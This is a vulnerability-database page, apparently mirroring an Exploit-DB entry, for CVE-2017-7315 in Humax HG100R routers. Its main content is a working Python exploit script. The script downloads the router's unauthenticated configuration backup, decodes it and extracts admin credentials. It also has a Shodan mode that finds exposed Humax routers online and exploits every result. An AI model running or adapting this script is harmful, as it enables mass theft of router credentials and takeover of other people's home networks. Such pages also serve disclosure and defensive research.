Lucene search
+L

Humax HG100R 2.0.6 - Backup File Download

πŸ—“οΈΒ 30 Jun 2017Β 00:00:00Reported byΒ gamblerTypeΒ 
exploitdb
Β exploitdb
πŸ”—Β www.exploit-db.comπŸ‘Β 102Β Views

Humax HG100R 2.0.6 Backup File Download. Vulnerable to file download

Related
Code
ReporterTitlePublishedViews
Family
zdt
zdt
Humax HG100R 2.0.6 - Backup File Download Exploit
30 Jun 201700:00
–zdt
cnvd
CNVD
Humax Digital HG100R Backup File Download Vulnerability
4 Jul 201700:00
–cnvd
cve
CVE
CVE-2017-7315
4 Jul 201702:00
–cve
cvelist
Cvelist
CVE-2017-7315
4 Jul 201702:00
–cvelist
euvd
EUVD
EUVD-2017-16342
7 Oct 202500:30
–euvd
exploitpack
exploitpack
Humax HG100R 2.0.6 - Backup File Download
30 Jun 201700:00
–exploitpack
nvd
NVD
CVE-2017-7315
4 Jul 201702:29
–nvd
openvas
OpenVAS
HUMAX Gateway Backup File Download Vulnerability
3 Jul 201700:00
–openvas
osv
OSV
CVE-2017-7315
4 Jul 201702:29
–osv
packetstorm
Packet Storm
Humax Digital HG100R 2.0.6 XSS / Information Disclosure
3 Jul 201700:00
–packetstorm
Rows per page
# coding: utf-8

# Exploit Title: Humax Backup file download
# Date: 29/06/2017
# Exploit Author: gambler
# Vendor Homepage: http://humaxdigital.com
# Version: VER 2.0.6
# Tested on: OSX Linux
# CVE : CVE-2017-7315

import sys
import base64
import shodan
import requests
import subprocess

def banner():
    print '''
 β–ˆβ–ˆβ–‘ β–ˆβ–ˆ  β–ˆ    β–ˆβ–ˆ  β–ˆβ–ˆβ–ˆβ–„ β–„β–ˆβ–ˆβ–ˆβ–“ β–„β–„β–„      β–’β–ˆβ–ˆ   β–ˆβ–ˆβ–’
β–“β–ˆβ–ˆβ–‘ β–ˆβ–ˆβ–’ β–ˆβ–ˆ  β–“β–ˆβ–ˆβ–’β–“β–ˆβ–ˆβ–’β–€β–ˆβ–€ β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–„    β–’β–’ β–ˆ β–ˆ β–’β–‘
β–’β–ˆβ–ˆβ–€β–€β–ˆβ–ˆβ–‘β–“β–ˆβ–ˆ  β–’β–ˆβ–ˆβ–‘β–“β–ˆβ–ˆ    β–“β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆ  β–€β–ˆβ–„  β–‘β–‘  β–ˆ   β–‘
β–‘β–“β–ˆ β–‘β–ˆβ–ˆ β–“β–“β–ˆ  β–‘β–ˆβ–ˆβ–‘β–’β–ˆβ–ˆ    β–’β–ˆβ–ˆ β–‘β–ˆβ–ˆβ–„β–„β–„β–„β–ˆβ–ˆ  β–‘ β–ˆ β–ˆ β–’
β–‘β–“β–ˆβ–’β–‘β–ˆβ–ˆβ–“β–’β–’β–ˆβ–ˆβ–ˆβ–ˆβ–ˆβ–“ β–’β–ˆβ–ˆβ–’   β–‘β–ˆβ–ˆβ–’ β–“β–ˆ   β–“β–ˆβ–ˆβ–’β–’β–ˆβ–ˆβ–’ β–’β–ˆβ–ˆβ–’
 β–’ β–‘β–‘β–’β–‘β–’β–‘β–’β–“β–’ β–’ β–’ β–‘ β–’β–‘   β–‘  β–‘ β–’β–’   β–“β–’β–ˆβ–‘β–’β–’ β–‘ β–‘β–“ β–‘
 β–’ β–‘β–’β–‘ β–‘β–‘β–‘β–’β–‘ β–‘ β–‘ β–‘  β–‘      β–‘  β–’   β–’β–’ β–‘β–‘β–‘   β–‘β–’ β–‘
 β–‘  β–‘β–‘ β–‘ β–‘β–‘β–‘ β–‘ β–‘ β–‘      β–‘     β–‘   β–’    β–‘    β–‘
 β–‘  β–‘  β–‘   β–‘            β–‘         β–‘  β–‘ β–‘    β–‘
    '''
    print 'Description: Humax HG100R backup file download'
    print 'Software Version: VER 2.0.6'
    print 'SDK Version: 5.7.1mp1'
    print 'IPv6 Stack Version: 1.2.2'
    print 'Author: Gambler'
    print 'Vulnerability founded: 14/03/2016'
    print 'CVE: waiting'
    print

def xplHelp():
    print 'Exploit syntax error, Example:'
    print 'python xpl.py http://192.168.0.1'

def exploit(server):
    path = '/view/basic/GatewaySettings.bin'
    if not server.startswith('http'):
        server = 'http://%s' % server
    if server.endswith('/'):
        server = server[:-1]+''
    url = '%s/%s' %(server,path)
    print '[+] - Downloading configuration file and decoding'
    try:
        r = requests.get(url, stream=True,timeout=10)
        for chunk in r.iter_content(chunk_size=1024):
            if chunk:
                rawdata = r.content
        save(rawdata)
    except:
        pass

def save(rawdata):
    config = base64.b64decode(rawdata).decode('ascii','ignore').replace('^@','')
    open('config.txt', 'w').write(config)
    print '[+] - Done, file saved as config.txt'
    infos = subprocess.Popen(["strings config.txt | grep -A 1 admin"], shell=True,stdout=subprocess.PIPE).communicate()[0]
    print '[+] - Credentials found'
    print infos

def shodanSearch():
    SHODAN_API_KEY = "SHODAN_API_KEY"
    api = shodan.Shodan(SHODAN_API_KEY)
    try:
            results = api.search('Copyright Β© 2014 HUMAX Co., Ltd. All rights reserved.')
            print 'Results found: %s' % results['total']
            for result in results['matches']:
                    router = 'http://%s:%s' % (result['ip_str'],result['port'])
                    print router
                    exploit(router)
    except shodan.APIError, e:
            print 'Error: %s' % e


if __name__ == '__main__':

    if len(sys.argv) < 2:
        xplHelp()
        sys.exit()
    banner()
    if sys.argv[1] == 'shodan':
        shodanSearch()
    else:
        exploit(sys.argv[1])

Data

Build on a solid foundation withΒ Vulners data

WeΒ provide theΒ essential building blocks forΒ cybersecurity solutions withΒ comprehensive, structured, andΒ constantly updated vulnerability andΒ exploits data

Api

Power your application withΒ Vulners API

The Vulners REST API offers reliable, high-performance access toΒ vulnerabilityΒ intelligence, withΒ 99.9%Β SLAΒ uptime andΒ CDN-backed data delivery forΒ seamlessΒ global access

App

Assess and manage vulnerabilities withΒ VulnersΒ tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

30 Jun 2017 00:00Current
8.4High risk
Vulners AI Score8.4
CVSS 39.8
CVSS 210
EPSS0.02124
102